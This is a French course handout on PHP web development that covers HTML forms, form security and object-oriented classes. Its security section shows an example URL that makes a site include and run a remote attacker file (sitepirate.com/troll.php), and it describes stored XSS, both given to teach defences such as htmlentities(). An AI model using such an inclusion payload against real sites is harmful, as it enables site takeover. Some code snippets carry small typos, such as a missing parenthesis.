École régionale du numérique - Développement d'une application Web

2018 – 2019

Les classes en PHP

Cours n°2.1

M. Ducongé - Barrère 1/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019
Table des matières

Les formulaires................................................................................................................................................. 3
Introduction ................................................................................................................................................. 3
Fonctionnement ........................................................................................................................................... 3
Créer un formulaire ...................................................................................................................................... 3
L’attribut action ....................................................................................................................................... 3
Méthodes d’envoi des données ............................................................................................................... 4
Traitement des données ............................................................................................................................... 4
Sécurité ........................................................................................................................................................ 4
Faille include() ......................................................................................................................................... 4
La faille XSS (Cross-site scripting) ............................................................................................................. 5

La programmation orientée objet .................................................................................................................... 6

Définition ..................................................................................................................................................... 6
Les avantages .............................................................................................................................................. 6
La logique des classes et des objets............................................................................................................... 6

Construction d’une classe et utilisation ............................................................................................................ 7

Introduction ................................................................................................................................................. 7
Création d’une classe.................................................................................................................................... 7
Déclaration des constantes et propriétés de classe........................................................................................ 8
Constantes .............................................................................................................................................. 8
Propriétés................................................................................................................................................ 8
Portée des propriétés et méthodes................................................................................................................ 8
Public ...................................................................................................................................................... 8
Private ..................................................................................................................................................... 9
Protected ................................................................................................................................................ 9
Création d’un objet et utilisation ................................................................................................................... 9
La pseudo-variable $this ............................................................................................................................. 10
Les méthodes ............................................................................................................................................. 10
Constructeur.......................................................................................................................................... 10
Accesseur et mutateurs ......................................................................................................................... 10
Commentaires ............................................................................................................................................ 11
Classe .................................................................................................................................................... 11
Fonctions............................................................................................................................................... 11
Variables ............................................................................................................................................... 12

M. Ducongé - Barrère 2/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019
LES FORMULAIRES

Introduction

Les formulaires sont très souvent utilisés sur les sites afin de pouvoir enregistrer des données
saisies par un internaute, l’utilisateur peut alors interagir avec le site.

Par exemple, lorsqu’un utilisateur doit se connecter sur son espace client, il doit remplir un
formulaire, le valider pour pouvoir traiter ses informations. Si ces identifiants sont corrects, il
sera alors connecté.

Le fonctionnement et l’utilisation des formulaires est très important à comprendre. Il faut

absolument savoir les manipuler et traiter les données saisies.

Fonctionnement

Un formulaire commence avant tout par une structure HTML permettant la saisie d’informations
par l’utilisateur. Lorsque ce dernier aura renseigné tous les champs demandés, il validera le
formulaire et enverra les données sur une page PHP pour que les données soient traitées.

Créer un formulaire

La création d’un formulaire commence par la déclaration de balise HTML « form » pour indiquer
au navigateur que la suite sera traitée en tant que formulaire. Tous les champs portant un attribut
« name » défini seront récupérable en PHP.

<form method="post" action="cible.php">

<p>
On insèrera ici les éléments de notre formulaire.
</p>
</form>

L’attribut action

La valeur définie dans le « action » du formulaire HTML sert à définir vers quelle page sera
envoyé les données. Ici, la page sera « cible.php ». Elle servira à récupérer et traiter les données
saisies par l’internaute (afficher un message, enregistrer en base de données etc).
Dans le cas suivant, la page appelée est externe à la page ou se situe le formulaire. Il est tout à
fait possible d’appeler la même page ou le formulaire est déclaré pour traiter les données.

M. Ducongé - Barrère 3/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019
Méthodes d’envoi des données

Il faut savoir qu'il existe plusieurs moyens d'envoyer les données du formulaire. Elles se
définissent dans l’attribut HTML « method » du formulaire.

- get : les données transiteront par l'URL. Cette méthode est assez peu utilisée car on ne
peut pas envoyer beaucoup d'informations dans l'URL (je vous disais dans le chapitre
précédent qu'il était préférable de ne pas dépasser 256 caractères).

- post : les données ne transiteront pas par l'URL, l'utilisateur ne les verra donc pas passer
dans la barre d'adresse. Cette méthode permet d'envoyer autant de données que l'on veut,
ce qui fait qu'on la privilégie le plus souvent. Néanmoins, les données ne sont pas plus
sécurisées qu'avec la méthode GET et il faudra toujours vérifier si tous les paramètres
sont bien présents et valides, comme on l'a fait dans le chapitre précédent. On ne doit
pas plus faire confiance aux formulaires qu'aux URL.

La méthode POST est à utiliser sauf cas particulier spécifié dans un dossier technique lors de
l’utilisation d’un service externe par exemple.

Traitement des données

Les données envoyées sur la page de traitement sont accessibles suivant la méthode utilisée.
Pour les récupérer, il faut se baser sur la valeur du name sur un « input », « select » ou autre
balise de saisie HTML.

Par exemple, un name qui a pour valeur « prenom » est envoyé sur la page « cible.php » avec
la méthode POST. Il faudra utiliser « $_POST[‘prenom’] » pour pouvoir accéder à la donnée.
Si l’on souhaite afficher la valeur, il suffit d’utiliser un « echo » :

echo $_POST[‘prenom’] ;

Sécurité

Les formulaires permettent l’échange de données entre l’utilisateur et le site internet, il est donc
un élément sensible et se doit d’être sécurisé.

Faille include()

Il faut faire attention à ne pas inclure dynamiquement des fichiers en utilisant les paramètres
situés dans l’URL. L’exemple suivant permet d’inclure un fichier PHP malveillant en modifiant
simplement le lien vers une page PHP.

http://www.votresite.com/index.php?page=accueil.php

http://www.votresite.com/index.php?page=http://sitepirate.com/troll.php

M. Ducongé - Barrère 4/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019
La seconde ligne exécute le fichier « troll.php » sur le site « votresite.com ». Cette faille est très
grave puisque elle permet de prendre le contrôle de tout le site et d’interagir sur les fichiers
(ajout/modification/suppression), rajouter des programmes malveillants et même interagir sur
la BDD.

La faille XSS (Cross-site scripting)

Cette faille consiste à injecter des données pour exécuter des instructions non désirées. Par
exemple : on peut facilement injecter un script dans le site au moyen de l’URL.

L’objectif de la faille XSS (cross-site scripting) n’est pas nécessairement exploitée au niveau
des bases de données. En fait, elle veut insérer des code (html, css, javascript) sur une page
web. Avec cette faille, vous pouvez par exemple aisément pénaliser tous les utilisateurs d’un
site web. Par exemple en rendant sa navigation infernale avec un alert en javascript qui affichera
une popup à chaque fois que la page est chargée.

Vous jouez à un jeu, peu importe lequel. Au moment de l’inscription, vous mettez une boucle
infinie en javascript en guise de pseudo. Que se passe-t-il ensuite ? Un code javascript sera
stocké en base et à chaque fois que le site aura besoin de faire appel à votre pseudo une boucle
infinie sera déclenchée et le navigateur de tous ceux qui étaient supposés voir votre pseudo
plantera.

L’idée générale est de convertir tous les caractères spéciaux en leurs équivalent en HTML. Les
balises <script> et autres ne seront plus pris en compte par le navigateur.

La fonction PHP « htmlentities() » permet de faire cette conversion. L’exemple ci-dessous

permet de sécuriser les données contenu dans la variable « prenom » envoyé en POST.
Reportez-vous à la documentation sur le site de PHP pour plus d’informations.

$prenom = htmlentities($_POST[‘’prenom’’] ;

M. Ducongé - Barrère 5/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019
LA PROGRAMMATION ORIENTEE OBJET

Définition

La programmation orientée objet est un modèle de langage de programmation qui s'articule

autour d'objets et de données, plutôt que d'actions et de logique. Par le passé, un programme
était une procédure logique qui récupérait des données en entrée, les traitait puis produisait des
données en sortie.

Les avantages

L'orienté objet remplace le procédural dans les grands programmes car il présente de multiples
avantages:

- Facilité de compréhension (Permet de regrouper toutes informations sur un objet dans le code.
Si mon programme gère des voitures, l'objet du même nom contiendra la marque de celle-ci, sa
vitesse ainsi que sa couleur, etc...)

- La modularité du code (On peut généralement récupérer 80 % du code d'un projet pour le
réutiliser sur un projet similaire contrairement à la programmation procédurale. De plus les
objets permettent d'éviter la création de code redondant, permettant donc un gain de temps et
donc d'argent).

La logique des classes et des objets

En programmation orientée objet, un objet est un conteneur d'informations représentant un sujet

manipulé dans le programme.

La classe est un modèle à partir duquel les comportements (méthodes) et caractéristiques

(attributs) sont définies. Ceux-ci sont généralement basés sur ceux qu'ils représentent :
Un objet de classe voiture aura des variables représentant le modèle, la couleur, la vitesse ... et
des méthodes pour récupérer ou modifier ces variables.

M. Ducongé - Barrère 6/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019
CONSTRUCTION D’UNE CLASSE ET UTILISATION

Introduction

Avant de comprendre comment créer un objet, il faut au préalable savoir comment est composé
une classe. Pour gagner en lisibilité et par convention, le mieux est de mettre une classe dans
un fichier unique avec pour nom de fichier le nom de la classe.

Pour pouvoir l’utiliser, il suffit de l’inclure dans le fichier désiré avec un « require() ».

Création d’une classe

Une classe commence toujours par le mot « class » suivi de son nom. Par convention, ce dernier
doit avoir sa première lettre en majuscule. Une classe peut contenir ses propres constantes,
variables (appelées "propriétés" ou "attributs"), et fonctions (appelées "méthodes").

Son contenu doit être entre une paire d'accolades contenant la définition des propriétés et des
méthodes appartenant à la classe. Ci-dessous le contenu type d’une classe.

class Personnage
{
public $force;
private $localisation;
private $experience ;
private $degats ;

public function __construct(){

$this->localisation = "Loooouuurrdes !!!";
}

public function parler($phrase)

{
if($phrase != ‘’’’){
echo $phrase ;
}else{
echo 'Je suis un personnage ! Ma localisation est : '.$this->localisation ;
}
}
}

M. Ducongé - Barrère 7/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019
Déclaration des constantes et propriétés de classe

Constantes

Il est possible de définir des valeurs constantes à l'intérieur d'une classe, qui ne seront pas
modifiables. Les constantes diffèrent des variables normales du fait que l'on n'utilise pas le
symbole $ pour les déclarer ou les utiliser. La visibilité par défaut des constantes de classe est
public.

const CONSTANTE = "Ma constante";

L’appel des constantes se fait avec le nom de la classe suivi des caractères :: et du nom de la
constante tel que suivant :

echo Personnage::CONSTANTE; // Affichera Ma constante

Attention les constantes de classe sont allouées une fois par classe, et non pour chaque instance
de classe.

Propriétés

Les propriétés sont des variables au sein d’une classe. Elle se déclarent comme une variable
classique avec un dollar suivi de son nom et un point-virgule pour marquer la fin de
l’instruction. Pour accéder à une variable de classe, il faut utiliser un objet ou la variable pseudo
élément « $this », voir plus loin dans le cours.

public $force ;

Il est préférable de spécifier une visibilité pour chaque déclaration, par défaut, elle est publique,
voir le point suivant pour plus d’informations.

Portée des propriétés et méthodes

Les variables et les fonctions ont une visibilitée. C’est à dire qu’elles peuvent être accessibles
partout ou limitées à un contexte défini. Cette visibilité permet de sécuriser certaines données
très simplement. Il s'agit des visibilités publiques, privées ou protégées qui sont respectivement
définies dans la classe au moyen des mots-clés « public », « private » et « protected ».

Public

C'est l'accès par défaut de PHP si l'on ne précise aucune visibilité. Tous les attributs et méthodes
qui sont déclarées sans l'un de ces trois mots-clés seront considérés automatiquement comme
publiques.

M. Ducongé - Barrère 8/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019

Le mot-clé « public » indique que les propriétés et méthodes d'une classe seront accessibles
depuis n'importe où dans l’application ou bien dans les classes mères héritées ou classes filles
dérivées (la notion d’héritage sera expliquée un peu plus tard).

Private

Le mot-clé « private » permet de déclarer des attributs et des méthodes qui ne seront visibles et
accessibles directement que depuis l'intérieur de la classe ou elles ont été déclarées. C'est à dire
qu'il devient impossible de lire ou d'écrire la valeur d'un attribut privé directement en faisant :
« $perso->degats ; »

Lorsqu’on est dans la classe ou a été créé la méthode ou la variable, on peut y accéder en
utilisant la variable objet « $this ». Cette notion est décrite un peu plus loin dans le cours.

Protected

L'accès protégé « protected » est un intermédiaire entre l'accès publique et l'accès privé. Il
permet d'utiliser dans la classe enfant les attributs, les méthodes publiques et protégées
déclarées dans la classe parente. Cette relation interclasses s’appelle héritage.

Création d’un objet et utilisation

Lorsqu’on est à l’extérieur de la classe et qu’on veut accéder aux élément de la classe, il faut
créer un objet. Pour ce faire, il faut utiliser le mot « new » suivi du nom de la classe et de
parenthèses. La ligne ci-dessous permet de créer un objet de la classe « Personnage ». On dit
alors que « $perso » est une instance de la classe « Personnage ».

$perso = new Personnage();

Lors de la création d’un objet, la méthode magique « __construct() » est appelée. Elle sert
majoritairement à initialiser les propriétés de l’objet à créer ou exécuter des instructions.

Un objet peut servir à appeler une fonction ou atteindre un attribut (nous le verrons plus tard).
Pour accéder au contenu de la classe, il faut utiliser l’opérateur ->. Ce dernier sert à accéder aux
éléments de la classe. L’exemple ci-dessous appelle une fonction de la classe « Personnage. »

$perso->parler();

Vous pouvez créer autant d’objets que nécessaire pour votre application. Chacun d’entre eux
aura ses propres propriétés. Par exemple, la modification de l’attribut « localisation » sur un
objet de la classe « Personnage », cela n’impactera pas les autres instances.

M. Ducongé - Barrère 9/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019
La pseudo-variable $this

La pseudo-variable « $this » est disponible lorsqu'une méthode est appelée depuis un contexte
objet. « $this » est une référence à l'objet appelant (habituellement, l'objet auquel la méthode
appartient, mais ce peut être un autre objet si la méthode est appelée de manière statique depuis
le contexte d'un autre objet).

Par exemple, lors de l’appel de la méthode « $perso->parler() ; », l’attribut « localisation » est

déclaré en « private ». Pour y accéder, il faut utiliser la variable « $this » suivi du nom de la
variable sans le dollar.

L’affectation d’une variable de classe s’effectue toujours avec le caractère égal suivi de la
donnée.

« $this->localisation = ‘’Lourdes’’ ; »

Les méthodes

Les méthodes dans une classe ne changent pas trop d’une fonction classique. Elles se déclarent
de la même manière sauf qu’il faut préciser leurs portées (public private, protected). Les valeurs
de retour sont également facultatives.

Constructeur

Lors de la déclaration de l’objet avec « new », il est possible d’exécuter un certain nombre
d’instructions. Cette fonction est dite méthode magique par PHP, car elles sont prédéfinies et
réservé.

function __construct() {
echo "Cette méthode a été appelée lors de la création de mon objet !!";
}

C’est relativement utile lorsqu’on souhaite initialiser les propriétés par défaut d’un objet. Vous
pouvez bien évidemment appeler d’autre fonction de la classe à partir de cette méthode ou
exécuter d’autres instructions.

Accesseur et mutateurs

Il peut être nécessaire parfois de venir accéder et modifier depuis l’extérieur de la classe un
attribut d’une classe déclaré en « private ». Pour ce faire, PHP à implémenté des méthodes
magiques. Leurs utilisation fonctionnent uniquement dans un contexte d’objet et par conséquent
ne peuvent pas être utilisés en « static ».

Voir doc Php pour plus d’informations à ce sujet.

M. Ducongé - Barrère 10/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019

Vous pouvez également créer vos propres fonctions getter et setter. Par convention, il faut que
leurs nom commencent respectivement par « get » et « set » et prennent en paramètre la
nouvelle valeur de la variable pour le « set » et retourner la bonne variable pour le « get ».

public function getLocalisation()

{
return $this->localisation ;
}

public function SetLocalisation($value)

{
$this->localisation = $value;
}

Commentaires

Classe

Il est vivement recommandé de commenter son code. Concernant la classe, ils doivent être
placés la ligne avant le mot-clé « class ». Le texte doit être explicite, permettre de comprendre
l’utilité de la classe et d’identifier le ou les auteurs.

/**
* La classe Personnage permet de créer un personnage, de le faire parler et de lui
* infliger des dégâts.
*
* @author Toto <toto[@]toto.com>
*/

Fonctions

La syntaxe pour commenter des fonctions reste la même que pour les classes. Seul les
paramètres changent. Ils définissent les paramètres formels, précise la valeur de retour etc.

/**
* Sert à faire parler un personnage
* @param string $phrase Contenu de la phrase que doit dire le perso
* @return void
*/
public function parler($phrase = ‘’’’)
{
...
}

M. Ducongé - Barrère 11/12

 École régionale du numérique - Développement d'une application Web
2018 – 2019
Variables

Il est parfois nécessaire de commenter certaines variables pour faciliter leur compréhension.
Par exemple, sans le commentaire suivant, il aurait fallu analyser le code pour savoir que la
force doit être exprimée en pourcentage.

public $force; // force en pourcentage

M. Ducongé - Barrère 12/12